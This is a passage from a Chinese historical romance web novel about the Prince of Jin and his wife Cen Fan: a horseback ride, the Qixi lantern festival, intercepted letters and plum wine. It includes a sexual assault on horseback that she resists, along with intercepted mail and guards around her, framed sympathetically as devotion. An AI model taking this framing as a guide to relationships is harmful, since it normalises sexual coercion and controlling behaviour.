岑璠脸上的惬意收起几分,纵使几乎不可察觉,却还是被男人察觉了出来。 除了那日她借他的手送画,他近乎事事妥协,很久没露出这样的表情。 蛮横,强势,看她像猎物,要用蛮力擒捕。 他一句话不说,翻身上马,用力一踢,就算是再温顺的马也扬起蹄子,奔出好远。 和风陡然变得凌厉了起来,像是刀子一般划过脸颊。 周遭没了一个人,他猛然勒马,马嘶鸣一声,他用力拽了缰绳,单手蛮力将马停住。 随后他抱紧了她。 那匹马虽是脾气好,可到底心绪不稳,马蹄左右摇晃,连带着马上的人也感到不安。 他锢得实在太紧,岑璠往外挣了挣。 他在她耳边道:“成婚前本王送你的簪子,你为何要送给那宫婢?” 第37章 第三十七章马背之上 岑璠挣扎的动作小了些。 鸦羽似的长睫微颤,眼神有些游离。 许久之前的事,就要被沙尘掩埋,就这么毫无征兆地被他挖了出来。 她是存心瞒他,关于那只簪子的真相。 她不想向他服软,于是选择借他的簪子暗中报复,她怕他知道她践踏他的真心,所以宁肯装作被欺负。 明目张胆利用他的怜爱,却又害怕被他发现真正的目的。 她想承认,一了百了,可他犹如一条巨蟒,紧紧缠绕她,似要将她的骨头揉碎了掰开。 那感觉近乎窒息,似乎真的要将她勒死一般。 岑璠一次次试着打开他的手,可却连他手臂上的肉都掐不动。 巨蟒似吐出了蛇信子,在她耳边轻轻吐露出一句话,“你是不是也很恨本王?” 她恨的人很多,报复过许多人,上辈子的皇后也死于她手,说不定虞佑柏也根本不是病逝。 上辈子在寺中,他告诉她虞佑柏病逝时,她只是轻描淡写地一声“知道”。 若哪日他死了,是不是她也会简简单单说一句,“知道”。 他这般无耻之徒,若不是救过她,还能帮她报仇,她应该也会想杀他吧…… 她并不像想象中那样好掌控,也不像他想象中的那样可怜。 一朵菟丝花,弱小到只能依附其他枝蔓生存,却能肆意生长,最后不知不觉将宿主绞杀。 她似乎并不好掌控。 但他喜欢这样的她。 软玉温香在怀,微风带着丝丝凉意,掠过一丝清冽的香气,是他府里专门调出的香。 但其实他能掌控的事还有很多。 河岸边空无一人,只有水声潺潺,勒在腰间的臂松去时,岑璠得到一瞬间的喘息。 那手向上覆时,岑璠霎时间脸色变白了许多。 她拗不过他的力气,弓下身子,“你放手……” “皎皎……” 她愈发慌乱,像要把他身上的肉拧下来,可平日的无声顺从截然不同。 这才是原原本本的她。 元衡看不到她的神色,却也能看见她的厌恶,或许在那深不见底的深眸中,还有些许憎恨。 那匹棕马甩着尾巴,似极其烦躁,哧了一鼻子。 再急躁的声音,也不如身后。 入的瞬间,岑璠抓着马鞍的手骨捏得泛白。 急躁的马奔出,似在宣泄,扬起蹄子,踏水而过,走过崎岖弯路。 马蹄声阵阵,马背颠簸,一路驰骋。 水的另一边静谧无声,景色尚好,却无暇顾及。 沿水流的方向而下,水由湍急变得缓了些,涓涓细流,流淌而过。 马似乎安静了下来,停在野花丛生的一处,悠闲地啃着草。 岑璠趴在马背上,环绕着马的脖子,疲累地趴在鬃毛上,定定看着不远处的野花。 渺小星散,却在光下泛着光彩,肆意生长,随风轻快地拂动。 他衣衫尚整,别开她凌乱的碎发。 岑璠看到那只臂,眼睛红得像兔子,转头狠狠下嘴,牙尖刺到肌里。 他闷哼出声,另一只手掰开,虎口嵌在她的齿间,留下一道深深的血痕。 这样反倒是好掌控,他扶住她敞露的肩头,让她起身,整理好凌乱的衣衫。 那套衣衫并不是他给的,半旧不新,料子虽不 差,却朴素无奇,应该是她以前的旧衣。 “你若喜欢跑马,本王给你做几套衣衫,上次说的做数。” 岑璠闭着眼,牙咬得酸了,还是不肯松口。 他只能用了点力,把自己的手拿开,未再有什么举动。 他单手拉了缰绳,调转马头,那匹棕色的马倒当真乖顺,拽了最后一口草,驮着两人踏河而去。 清风拂过,吹干了两鬓的汗珠,两人回去时,岑璠的头发乱了些,脸色不好,元衡攥紧了虎口的一排血痕。 除此之外并无多少异样。 尔朱阳雪看了看两人,总觉得哪里说不上的怪,可总归也没往太奇怪的方向想。 只以为是晋王跑马跑得太快了。 于是她替岑璠抱怨了一句,“殿下可知,刚跑马的人不能跑太快,会很难受的。” 谁知岑璠的脸色愈发煞白。 晋王睨了她一眼,那眼神说不出的冰冷。 他低眼看了看怀中的人,又抬眼去看尔朱阳雪,随后目光落在那若无其事甩着尾巴的马身上。 他道:“这匹马气性倒好,本王买了,改日将银钱送到尔朱府上去。” 尔朱阳雪挑眉,却道:“殿下客气,不用给钱,臣女和王妃投缘,这匹马算就我送给王妃的。” 岑璠低头看着那匹马,那匹马的鬃毛细腻柔顺,就算她刚才抱住它的脖子,可能还扯到了那马的鬃毛,也只是嗤了一声,并不记仇。 马是好马,人不是好人。 岑璠淡淡撇开眼,掩饰起刚才脸上残留的难堪和厌恶,并不想让其他人再看出什么。 * 夜晚寂静,吹散了炎热,夏虫鸣响,静谧无声。 纵使她同他从回来后便没说话,那碗药还是如期端上。 起初,他还有意瞒着,那碗药要么是傅媪端来,要么是乳娘端来,渐渐却是连装也不想装了。 今天他亲自将那碗药端了上来,汤药温热,还泛着丝丝白雾。 他刚沐浴过,换下了白日的那身胡服,穿着宽松平常的衣裳,虎口的牙印转为青色。 他同她说了回来后的第一句话,“喝了。” 岑璠抬头,收起了伪装,“殿下除了这些手段,还有别的吗?” 元衡沉默许久,未怒,也未争辩,“可以,本王也想同王妃谈谈别的。” 他利索地放下碗,坐在旁边,“王妃愿意怎么谈,孤也想听听,咱们现在就可以坐在这里谈,谈一晚上孤也可以奉陪。” 他这番话像是做了让步,可却像是无理取闹,非要让她就这番发问说出个所以然来。 更何况她觉得,她同他没什么好谈的。 岑璠低垂目光。 她并没有忘记今天,青天白日下,他对她做的事。 他生了一张冷峻的脸,说出来的话也强硬,却长了一张会骗人的嘴。 打一巴掌给一个甜枣的事,她可不愿意。 那和尔朱阳雪所说被圈养驯化的鹰有什么区别? 岑璠这么想,便没再说什么,端起那温热的药碗,仰起头,露出雪白的鹅颈,一饮而尽。 元衡愈发静,瞳色暗沉,浓云翻飞,像是要凝成一块儿冰。 她的指细白,刚沐浴过后的脸颊还残浮浅浅的酡色,朱唇上留有药渍。 元衡抬起手,轻轻揩掉她嘴角的那滴药渍。 岑璠就那么看着他,一双同样冷的眼中满是倔强,唇上水润。 他眼中仿佛染了墨色,挑起她的下颌,俯身舔舐品尝起那丝丝苦涩。 府中的人虽不知道发生了什么,但都知道府里的两个主子吵了架。 从晋王那被咬破的唇上能看出来。 隔日,乳娘拿了作画的纸墨笔砚来,“姑娘许久未画了,老奴看府里有几处景致极好,不如和老奴出去走走,看哪处好看,画下来也能解闷。” 岑璠本意打算封笔,也不想画这王府的任何一处地方。 画一幅画太费神,若是无心,所画之物也只会无神。 画的所言无物,对不起所画之景,不如不画。 她坚定道:“不画。” 乳娘一时间哑语,“这……” 窗外似有人影攒动,她身边扎着双髻的只有紫芯。 岑璠收回目光,“乳娘你们回去吧,我无事。” 乳娘说,“湖中的荷开的正好,姑娘出去采些莲子也是好的。” 岑璠还是出了门。 槿儿,紫芯连带着府里的喜鹊,几个小丫鬟在后头,拿了罐鱼食,采莲子的竹筐,比起初来湖边的那次,安静了许多。 湖中的荷花开了满池,正是盛放时,早开的那批荷花早已经败了。 荷便是如此,起初开得星星点点,毫不起眼,忽然一个晚上便绽开满池。 可花期也短,盛放过后不久便是凋败之景。 岑璠沿石桥而行,多折了些莲蓬,心中想着曾经画过荷花败谢盛放交替之景,心中感慨。 自也是没注意到身后静悄悄跟上来的男人。 几个小婢女并不惊讶,槿儿将手里的小竹篓悄悄递了过去。 岑璠走在几人最前面,闻到了一股熟悉的沉香。 她手顿了一下,却也并不多惊怪,只是刹那间明白了乳娘非要带她来此处的用意。 她摘了莲蓬,便没了那个闲情逸致去拨,将整个莲蓬扔在了横她身前的篓里。 傅媪和乳娘相互看了一眼,傅媪暗暗点了点头,将那未剥好的莲蓬拿出来。 元衡似是知道傅媪什么意思,掐了一颗莲子出来,剥好递到她唇边。 那虎口上的一排印记太过明显。 岑璠未回头,看不清神色。 元衡眉微竖,声音低沉,“吃。” 傅媪脸色有异,元衡似也意识到不妥,手微微捏紧,“剥好的,你吃了吧。” 周遭的人略松了一口气。 傅媪道:“如今天正热呢,这新鲜的莲子清凉解暑,王妃多摘些,老奴晚些时候再让人煮些莲子羹给您尝尝。” 直到傅媪开口,岑璠才终于有了些反应。 她微微张嘴,那颗莲子便滚入了口中,新摘的莲子透着清香,还泛着些许苦涩。 她又折了几只莲蓬,元衡步子迈的大,她慢慢悠悠往前走,他便停一步跟一步。 到了湖心,岑璠抓了一大把鱼食,洒在湖中。 鱼食在湖中散开,湖中的彩鲤聚在桥边,似一匹锦缎,争抢鱼食。 这王府的锦鲤应当经常有人喂,岑璠洒出的鱼食太多,剩了许多飘在湖面上。 争抢的鲤鱼啄了几口,似觉得没意思,便四散游开,悠闲自在地钻到莲叶下。 岑璠放下手,手扶在桥上,许久没说话。 “再过一阵日便是乞巧,晋阳有烟花,你和孤出去转转吧。” * 乞巧之日,月将圆,晋阳城乞巧街上男女络绎不绝,灯火万家,璨如锦织。 此地为边关入中原之要塞,异域人众多,自西入关的高昌人,在长街中表演杂艺,街上男女将异族人团团围住,交头接耳。 忽而轰的一生,异族人头一仰,火焰自口中喷出,照亮了黑夜,烟火适时在空中绽开,人群中爆发出一阵惊叹。 路旁有人开道,岑璠挤进来时看到的便是这般景象。 光迎面铺洒,星火自黑寂的夜空洒下,很快消散不见,漫天烟火却仍在空中盛放。 异族人敲响了腰间的鼓,声音轻快,火树银花下,一时间热闹非凡。 彭城门户众多,虽时不时有战乱,每年这个时候街上也得热闹一日,习俗街景却与晋地截然不同。 岑璠虽对歌舞并无兴趣,但到底没怎么见 过,便驻足看了一会儿。 男人的声音低醇,自身后响起,“皎皎若想看,孤以后年年都可以陪着。” 欢歌载舞很快便将那声音盖过,岑璠转身想离开。 “不再看看吗?”他问。 岑璠淡淡道:“不了,去河边放河灯吧。” 两人一先一后离开,两旁侍卫再开道,那双手始终牵着,却不似周围男女那般亲密无间。 城外河岸旁,晚风乍起,出城时岑璠身上披了件薄衫。 河岸下游被世家占满,城内普通的百姓只能跑到河岸更远的上游去放灯。 百年乱世,皇权凋敝,世家见到皇室,虽也是让了位置出来,派人来拜会一二,可到底无人离去。 倒是一幅“与民同乐”之景。 婢女递来笔墨小笺,岑璠常作画,写出的字大气磅礴,书在小笺上,便是多了分风骨。 元衡显然比她写的快许多,岑璠一笔一字都写的极为认真。 那两盏河灯晶莹剔透,淬着晶莹的色彩,像是两盏冰花,别致而精美。 两盏河灯顺流而下,元衡问:“皎皎刚才写的什么?” 这河灯许愿,除了讲究灯火不息,还有一个便是不能说出口。 岑璠不知道他是不是故意的,反问:“殿下许的什么愿?” 他问,“你觉得呢?” 岑璠想到这几日他看着她灌下的一碗碗的汤药,没在继续往下问。 她淡淡道:“有些愿望,被人猜透便不灵了。” 说罢,她起身,望向河灯的方向,并没有理会他什么脸色。 “会有的。”他沉声道。 这一世她从未灌过什么避子汤药,身子也未受过寒,来他的府上连小病也不曾有过,总会有的。 数过来,他们已成婚多月,若是快的话,说不准她的腹中已经有了。 他两世的第一个孩子。 岑璠接他的话,那两盏花灯并排而下,似纠缠不清,岑璠也渐渐辨认不清哪些是自己放的那盏花灯。 两盏花灯忽明忽暗,却没有一盏灭的, 两盏花灯渐渐远去,岑璠不自觉抬脚跟过去。 元衡不知道她许的什么愿,他也是第一次放花灯这种东西。 许愿这种虚无缥缈的事他从前绝不会做,身边也没有几个人有闲情逸致去许愿。 也没什么好许愿的。 他跟在她身后。 她眼中映着河灯火,他眼中映着她。 两人渐渐远离放河灯的地方,远远有奴仆缀在后面,无人上近前。 来放河灯的多世家女眷,十三四岁的模样。 大氏族常指腹为婚,这个时候已经该到了出嫁的年龄,也只有小世家该出嫁的女儿,会在这里许愿觅得良婿。 许的也都是如何嫁个好出身的世家子。 在南边世庶两族通婚乃是罪,北面虽无这等规定,但世庶联姻,大多也会像黄氏一样,被当地的大小世家耻笑一遍。 小姑娘围在一起,总有谈不完的话,元衡路过时,便是听来闲谈一二。 “那施家长子多年膝下无子,娶了我阿姊,起初还嫌弃呢!还得是我阿姊,找来专门给男子看症的郎中,这一把脉才知道,竟是那施家大公子的毛病。” 此话说完,坐在周围的姑娘皆掩面而笑,有一女子年岁大些,用袖子轻轻拍了一下她,“小声些,也不害臊……” 两人离岸边不远,烟火已歇,无河中灯火映照处,忽明忽暗。 元衡握着她的手似微微动了动,只是岑璠注意着那盏灯,无从察觉。 可有些时候,越不想发生的,便越容易发生。 岸边有一白衣女子似是身形一晃,跌落到河中,水花溅起,周围的人都向那处看去。 那水花溅的太高,将两盏晶莹璀璨的花灯都浇灭了。 那女子周围似有家人,很快被家里人拉上岸来。 一身穿鹅黄色衣衫的女子,自岸边快步而去,看不清是什么样子。 落水女子还坐在地上呛水,不知为何,那黄衣女却二话不说,走到面前抬手狠狠打了落水女子一巴掌。 “你想死,何不死远点!这是做给谁看!” 两人离得有些远,可声音却能听个七七八八,大概那女子为了哪个情郎,想不开跳了河…… 刚才那群世家姑娘眺望而去,不知是不是有人认了出来,掩唇低了声说着什么。 元衡只淡漠地瞥了一眼,“走吧。” 他先抬步,岑璠似看了两眼,而后跟着他离开。 夜晚,屋外大风乍起,窗棱阵阵作响,无雨声,吹散了夜空最后一点暗云。 夜空晴朗,星河灿烂,七夕乞巧,牛郎织女相会时。 屋内烛火未熄,忽明忽暗,久久未息。 再停时,月上中天,与星光连成一片,月光如练,一泻千里。 他抱着她,握着她的双腕,久久未离去。 岑璠这些时日,已经习惯他总往她身下垫枕头的举动,若非太过弄到身上,就是连沐浴也会在晨起之时。 她也大概渐渐能明白他这么做的目的。 岑璠大口喘息,眼睛微微看向那摇摇晃晃的香囊。 他搭在她的肩窝,未有察觉到她所看之处。 身上的重量骤然释去,岑璠近乎下意识要抬腿。 他却是抱着她去了净房,似比平日这时沉默许多。 星河朗朗,岑璠睡了个清爽的好觉。 翌日,像往常一样,岑璠醒时,床榻上已无他人。 岑璠早已习惯,他是这一方之主,此处皇权世家权力交织,他要忙的事不少。 她下床,看了半本杂书,又想到洛阳的故友亲人,叫槿儿拿来了纸笔。 从前的岑璠只会给远在洛阳的珝儿写信,如今到底是多了个人挂念。 那封送往虞家的信她自儿时便常写,写的顺畅,问的也如过去一般,只是特地嘱咐了珝儿莫要再赌。 另一封信,迟迟未能下笔。 笔抵着下颌左右晃动,这是岑璠过去作画时常有的习惯。 乳娘起初因为晋王,对阿湄多有误解,她嫁了,这怨言倒也消了。 乳娘将药膳放到她桌子上,只打趣了两句,说她对那姑娘上心地过头。 岑璠一个字也没听进去,细腕上沾上了墨也未曾察觉。 须臾后,她抬起笔,认认真真下笔,写了一半又觉得不太满意,便又换了张纸。 可一张纸写完,又总觉得缺了些什么。 岑璠再三思索,便又往信里加了片用香薰好的芍药干花进去。 两封信亲手封好后,岑璠让乳娘打听打听府中送信之人。 * 岑璠不知道的是,今天晋王就在府上。 王府的众多偏殿中,晋王选了最僻静的一处。 是她上一世居住之所。 不似上一世的破败,偏远的院落中中满了花木,梅树最多,院中挖出了一条沟壑,自院墙外引了水来,精致的水车放置在假山旁,卷起一片潺潺水声,长廊上挂有一笼画眉鸟,鸣声清脆。 元衡亲自带她来过此处,她来时似有过些许怔愣,可也许只是惊讶于府中还有如此温馨惬意之景。 她并不认得前世之景,眼底透着陌生,元衡再未带她来过此处。 这里常年有奴仆洒扫,今日房中却只坐了一个郎中。 老郎中擅为男女诊脉,看的多是子嗣之事。 他精于此道,倒是也有此地世家找他看过,可也多是女子看。 这晋阳最尊贵的皇室,成亲了一个月,竟是让他上王府来诊…… 还是诊他自己。 莫不是自己真的察觉到了问题…… 老郎中起初来时这么想,纠结了一路,若是真的诊出问题,到底要不要说出口。 那晋王他在晋阳见过,却也只是远远瞧过那威风,从未近距离看过。 进了这偏僻的院子,方才知晓坊间传闻不假。 那浑身的威严震慑,凌厉肃杀,就连这温暖如春的院子也遮不住。 老郎中坐下时颤颤巍巍,时不时捋两把胡子,那胡子此时被捋得笔直。 “殿下身子康健,脉象有力,并无碍于子嗣。” 元衡听罢,立刻收回了手,什么话也没说。 老郎中也不知该说什么,也知道不该问的不能多问。 “殿下若是不放心,不如老朽再为王妃诊过 一二。” 元衡立刻答:“不必。” 老郎中便也闭了嘴。 细细想来也是,就算是寻常男人,也不愿意让家里的婆娘知道…… 他又问:“你可知女子迟未有孕,是何原因?” 老郎中暗中掐指,其实这晋王和王妃大婚,也不过两月而已,也不算迟。 实在太操之过急了吧…… 老郎中不懂朝堂弯绕,也没听过晋王和王妃的私事,说地委婉,“每个人的身子都不一样,有的女子刚成婚便能有孕,有的则要过去好几年,缘分到了,自然就又有了。” 这番话显然是让晋王满意的。 元衡自己想了片刻,着人送老郎中从侧门出府。 郎中走后不久,韩泽便自月门而入z 装作若无其事,也没问结果,只将今晨去外面请人问诊的事自己嚼烂了烂在肚里。 韩泽行礼,说起主屋找人送信的事。 元衡并不意外,“她要给她弟弟送信,让人给她送就是了。” 韩泽顿了顿,又道:“殿下可能不知,王妃还有一封信,说是要送去郑家。” 第38章 第三十八章爱吃酸的 元衡着实不知,她和郑氏女什么时候关系这么好了。 “那封信呢?”他问。 韩泽对他极为了解。 晋王不喜欢有任何事脱离自己的掌控。 是以送信人来报时,他将那两封信截了下来。 “那封信还没送出去,殿下可要看?” 元衡手指微点桌子,韩泽了然,两封信一起呈上。 元衡打开那封信时,香味扑面而来。 他一手捏了花瓣,将那片干花取出,摊开在手心。 不是梅,是一朵粉艳的芍药,被做成了干花,芳香扑鼻。 那封信纸上也沾了花香,他打开那封信,那字体苍劲大气,不似寻常女子学写娟秀的字。 他一字一句地读,那信里短短几字说了她晋阳过得如何,其他洋洋洒洒写了她沿途见闻。 桩桩件件,身旁皆有他,却只字不提他。 “有幸见苍鹰翱于青天,愿为尔以丹青记之。” 这是她这一段话的结尾。 她前些日不愿画,却愿为愿在洛阳的一个女子画苍鹰翱翔。 元衡捏信的手紧了些,可没过多久便又松开了。 他将那封信按原来的样子叠好,又看了两眼芍药,塞进去。 而后却又有些不放心,看了看她送给弟弟的那封信。 打开扫了两眼,他将那信随便折了折。 两封信放在桌上,“送走吧。 韩泽得令,着人将两封信送走,当作无事发生。 元衡回到屋子里,岑璠恰好在让人准备笔墨。 她手握画纸出门,迎面被他撞到。 岑璠有一瞬的惊讶。 他怎么会在府上? 元衡装作不知,“你要去做什么?” “去外面画幅画。”岑璠道。 她未再做太多解释,径直向外走去 元衡跟上她,向外走去。 外面日头正晒,岑璠仰头看了看晴日苍穹,眯起眼睛。 “为何不在屋里画?” 岑璠抿唇,没同他说话。 她找了一处还算阴凉的地方坐下,乳娘和槿儿搬来桌子,像往常一样给她放好笔墨。 岑璠铺好画卷,心却不定,看向站在旁边的人,意思很明显。 乳娘找补道:“姑娘作画喜静,殿下莫怪……” 元衡沉默片刻,没强求什么,走远了一些,找人搬了把胡椅,坐在树荫底下。 她一直望着远处的寥天,迟迟未下笔,坐了将有一个时辰。 元衡远望着她,未出声。 他此前未见过人作画,上一世她的手上常年有伤,也没有见过她画过。 他知道,乱世烽火,当今世上有许多人为了逃避,游于世间。 这些人多出身世家,他从未见过,他认识许多世家的人,也多和这些隐士非同道中人,唯一一个例外也许就是那表弟崔迟景,若非有用,他也不会去主动结识此人。 她静坐于庭中,元衡叫人拿了公文来。 烈阳渐沉,光影倾斜,她的身袖上沾染了光晕。 眼瞧着那光要攀上那白玉似的面容,元衡叫人拿了屏风来。 光落在她的睫羽上,浅淡晶莹,她动了笔,看到那盏屏风时,却又有一瞬间的分神。 “拿下去。”她道。 下人回头看了看,见晋王未阻止,便又将那盏屏风撤了下去。 起笔勾起轮廓,晕染开朱砂青墨,草木苍劲,苍穹留白,鹰翱于空,笔风锋利。 一幅画作好时,日影斜沉,微云舒卷。 岑璠过去作画,常坐于景中,这么想着画,终归是没身临其境画的生动。 笔落下,元衡走过来。 画上晕染了余晖,仿若群鹰归巢,栩栩如生。 他驻足看了好一阵,虽是不怎么懂画,却也能感受到画中挥洒的磅礴。 他以为她不过是像寻常的世家女,会画而已。 原是真有自己的风骨在。 如果他看见上一世的她作画,也许也会驻足一二吧。 或许,他的目光会在她身上多停留一些。 不过现在也好,她就在王府,这样安静地在他能看见的地方,养在他身边,做着她未嫁时常做的事。 她似乎还送过他一幅佛像,那佛像中规中矩,和此画完全不同。 也许她会画很多种画,还有很多是他不知道的,这些他可以慢慢发现,慢慢品尝。 画中恣意空旷的意境未入人眼,可元衡想要那幅画。 即使知道那幅画原本不是他的,可他还是想要。 他开了口,“这幅画能送给本王吗?” 画上的墨已被晚风吹干,画的一角被卷起。 这幅画,其实岑璠画的不满意。 少了些意境,多了些浮躁,和那日所见所闻相差甚远。 也许她还是该改日去远郊再画一幅。 岑璠也不想与他再争吵。 她越是反抗,他便越是喜怒无常,这些她能看出来。 自那次她咬伤他,她与他就一直保持着微妙的冷静,像一条随时会绷断的弦,虽然都各退了一步,可终归是扬汤止沸。 她道:“这幅画送给殿下吧。” 元衡有些许意外,他以为她会呛她两句,说他无耻肖想。 回想起这几日,她的确是顺从了不少,没有再说什么刺人的话,也没有再咬他,在床榻上也是如此,虽不像上一世一样,他说什么她便能将自己摆成什么样子,可到底是合他的心意。 他也做出了让步。 做出了许多让步。 或许就像傅媪说的,她吃软不吃硬,他服了软,她才愿意静下来好好看看他。 待到画全干了,元衡着人将那幅画挂在了自己最常去的书房里。 过了将近十日,岑璠收到了从洛阳的来信。 那封信不是王府的人送来的,而是从洛阳来晋阳的崔迟景带给晋王的。 他亲自将那封信交到了她手中。 岑璠接过他递过来的信,没有立刻打开。 她把那封未拆的信卷起,两只手握住,那是一种防备的姿势。 元衡未走,岑璠环绕一周,自己出了门。 她并不是不着急看,而是不想让他看到 元衡在房中静静站了一会儿,抬步出门。 她并未走远,坐在长廊下,倚靠凭栏,就着盈盈灯火读那封信。 元衡不想承认,可这一次他确实不是滋味。 大雪中的和离还历历在目,她临走时,心中分明还有执念,对那郑氏颇为在意。 他将那枚玉佩退回,她却似乎和她成为了很好很好的朋友,对她的在意远胜于对他 他悄然坐在她身旁,衣衫簌簌作响。 岑璠不可察觉地挪开了一点位置,不愿让他窥探。 他端坐在一旁,微微偏头,透过那雪白的脖颈,想看清那封信上的内容,可灯光昏暗,那信上的字体娟秀小巧,只能断断续续看清几个字,若不凑近些,便根本看不全。 他并没有靠近,那样显得实在太过狼狈。 他低头出声,声音轻如一片落叶,在夜里却有些寂寥酸涩,“就这么在意?” 声音落在岑璠耳中,却听出了另一层意思。 这种语气她听过很多次,她知道若是她回答不好,他心里会记恨,说不定会牵连到阿湄 她的 母亲也是这样。 儿时在山上时,母亲常把自己锁在屋子里,让乳娘带着她出去找东西画,她便总是让乳娘帮着隐瞒,下山找同龄的孩童玩。 那时母亲对她的看管,比他现在还要严厉些。 每次她玩得脸颊红扑扑的,母亲都能发现,轻则挨一顿骂,重则挨一顿打。 而那些陪她玩的玩伴,也要被母亲说成山下的野孩子。 她不愿母亲这么说她的朋友,起初辩解几句,后来发现只会迎来更多责骂,便常骗母亲,说是下山画画时偶然碰见了几个孩子。 再后来,便没有孩子愿意同她玩了。 岑璠很少对面前的晋王说违心的话,可这次却又骗了他,“郑姑娘帮过我许多次,投缘罢了,殿下谈何在意?” 元衡未接话,凤眼深邃,浮现一丝笑意,“孤知道,随便问问罢了。” 在他说这番话时,岑璠已经将那封信折叠好,放进了信封。 他从袖中拿出了一盒糖,撇开头淡淡道:“郑氏给你的,说是亲手做的。” 那糖盒小巧,摊在他手心。 岑璠没在意他为何会这时才拿出那盒糖,她只是忽然想到,那日她写信时,总觉得缺少的到底是什么。 相隔两方,若想让故人放心,觉得对方时刻在身边,送自己亲手做的糖,总要比一片干芍药要好太多。 元衡其实有些心虚,可她竟是没有耻笑他,反倒是有些出神。 也许是和那郑氏女不熟,想不到那女子竟会送她糖,才愣住吧。 元衡这样想,渐渐认同了自己的想法,又怕她注意到他有意藏她的糖,便自己打开那糖盒,“尝尝。” 岑璠就着他的手,吃了那颗糖。 和儿时吃到的梨膏糖不同,那糖偏酸甜,像是楂果,又有荔枝的味道。 她应该不止会做那一种糖,或许她以后还可以吃到很多种。 她以后有朋友了。 元衡将那盒糖交到了她手里,她眼睛有些泛酸,那种心绪,很难再掩饰。 元衡似看到了一滴晶莹,映在灯火下,分外惹怜。 她的眼泪总是这般含蓄,每一次他都记得很清楚。 元衡罕见能读懂她。 他同她一样,一个人的不幸,便在于很少遇到善意。 所以即使是一块儿糖,一次相救,都会记一辈子。 他轻轻拭去她的泪,抱住她,想在她最脆弱的时候趁虚而入,“皎皎莫哭,孤也一直都在…” 灯火葳蕤,抱团取暖,便也添了一丝暖意。 他抱起她,她难得趴在他的肩头,少了些许倔强疏离。 情浓之时,鼻尖相触,她似有分神,搭他背上的手一次次落下。 他不厌其烦,让她攀附与他,感受一腔炽热。 最后像是撞得狠了些,她眉皱起,唇微颤,一声长哼。 长夜难得宁静,他从背后抱住她,盖着同一床锦被,相拥而眠。 “皎皎,过一阵孤可能要去趟军镇……” 他不放心她,“孤不放心,你待在府中,谁来找都不要见。” 岑璠还未睡,但眼已经合上,轻轻“嗯”了一声。 * 元衡此去军镇,不仅仅是为了握紧手中的兵权。 上一世,崔氏谋反,起因便是军镇。 他不知道舅父用了什么手段,让柔然出来指认崔氏谋反。 那时适逢崔氏家主崔纪谏言,劝帝王大修史书,帝王心中记恨,北有柔然指认,南有萧氏暗中屡次劝崔氏南下,皇帝便借谋反处置了崔氏一族。 世家少了一块儿,又是因为修史之事,与本族权贵的矛盾愈发尖锐,最后一切倾数崩塌。 军镇势力复杂,杨氏强盛,可究其根本背后还有个尔朱氏,和其它世家大族不一样。 上一世的军镇,杨氏本依附尔朱氏而活,最后却与尔朱氏争得你死我活。 尔朱氏虽有贵族居于晋阳,可家主常年镇守军镇,这一世若要改变,他有必要动一动这颗棋。 元衡忙于北去军镇之事,岑璠这几日却是在学怎么酿酒。 王府里栽了太多梅树,也有些能结果的。 晋地处北,梅树结果晚了些,这几日正是下果子的时候,岑璠便想摘些来。 那日她收了阿湄的糖,便一直再想送她什么好。 再送糖不合适,可晋阳和洛阳相距甚远,送其他的又容易坏,思来想去,便只有酒了。 她也喜欢喝酒。 岑璠从小没有下过灶,母亲总是说,她这双手是握笔的手,不该花心思在其他的上面。 母亲死后,她进了岑家,也没心思去碰火灶,不会熬糖也不怎么会酿酒。 她挽了袖子,摘了整整一筐青梅,傅媪教了一个下午,忙活半日,总算才将青梅封罐。 元衡回府时,几个人正将那瓶梅子酒埋在树下。 元衡看的心暖。 就像是精心养了许久的鸟雀,终于会自己在屋檐上筑巢一般。 他问了一声,“在做什么?” 岑璠回过头,云锦广袖还扎着,裙摆铺在土上,其他几个小婢女站起身行礼。 岑璠抿了抿唇,低头,“埋酒,自己做的。” 元衡心里一动,声音低了些,“王府里有酒窖,可以让傅媪带你去。” 岑璠摇头,“就埋这儿。” 她在郑家的别院时,那晚阿湄便是在院子里挖的酒。 这么埋酒,总比放在酒窖里要有趣。 元衡也没强求,继续问,“埋的什么酒?” “是梅子酒。” 元衡的笑容僵硬了一瞬。 他对梅子过敏,吃了会起红疹,这件事也只有傅媪和韩泽知道。 元衡看了看她周围的婢女,心存警惕,便没同她说。 终归这次是没什么口福。 可她似乎是喜欢吃梅子,酿酒之外还有些剩余,乳娘将梅子洗了摆上盘。 晚膳后,梅子酸甜爽口,岑璠在屋内看着书,多吃了几口。 元衡与她共处一室,难得最近得闲,拿了本棋谱看。 一盘青梅将空,他放下手里的棋谱,眼神渐渐变得深邃,“皎皎很爱吃酸的?” 岑璠似也意识到自己吃多了。 她确实对酸的东西有些许偏爱,这梅子就在她手边,抓得趁手。 她咽了咽泛起的口水,放下最后几颗梅,“算是吧……” 元衡沉默了许久,目光又回到棋谱上,桌上的另一只手指轻轻摩挲。 他这几日繁忙,回来时岑璠大多时候已经睡下。 这几日他二人过的平和,并未有过些许争吵,就像是寻常人家的夫妻,似熟悉了彼此的存在。 元衡不愿扰她清梦,好几日未碰她。 可这一日也没有。 他静静躺在床上,手搭上她的小腹,心如隆鼓,呼吸都快了几分,手轻轻揉了两下。 想到她今日摘了梅,买了酒,元衡渐渐觉得不妥。 还是太累了,有些危险。 他想着怎么开口,却在下一瞬被敲醒了。 岑璠道:“殿下,我今日身子不爽利。” 元衡手顿住一瞬,刚浮出水面的心被生生砸到了湖底。 他知道她说的不爽利是什么。 上一世,他到她屋里,她起初也会小声告诉他。 可他那时不讲理,也不容她推拒,也总能说出些别的过分的法子让她做。 她眼中起初有过犹豫,可他步步紧逼,命令无情,后来她似也习惯了,再也没婉拒过他,不爽利的时候便自觉闭上眼跪着用其他法子伺候。 这一世她拒绝的不客气,他便也是记住了那日子,也不敢同她说他那些无耻下流的要求。 手上的齿痕还未消去,他没忘,也不敢忘。 今晚是他恍惚了。 元衡未收回手,缓过神来,态度仍是好,轻揉 着她的小腹,“孤给你揉揉……” 他揉了许久,岑璠只觉得他揉的无用,扰她清梦,后来便是翻了身,方才得了清净。 * 元衡走的那日,安排好了一切。 府外多了好几个侍卫把手,不知是在防着谁,岑璠却能隐隐猜到。 她从前在彭城和洛阳听到的,都是晋王和杨太尉关系情同父子,可这几个月暗中观察,绝并非如此。 一辆马车停在府外时,府外的侍卫横起长枪,将大门堵住。 崔迟景下车时,愣了许久。 马车的帘幔被一只纤纤玉手掀开,似顾及男女之别,崔迟景并未扶,只退开一步,随时准备去接。 郑伊湄看见府前的阵仗,也不由愣了愣。 晋王这是要防着谁? 第39章 第三十九章吻痕 郑伊湄没来过晋阳,王府的人也不认识荥阳郑家的人物。 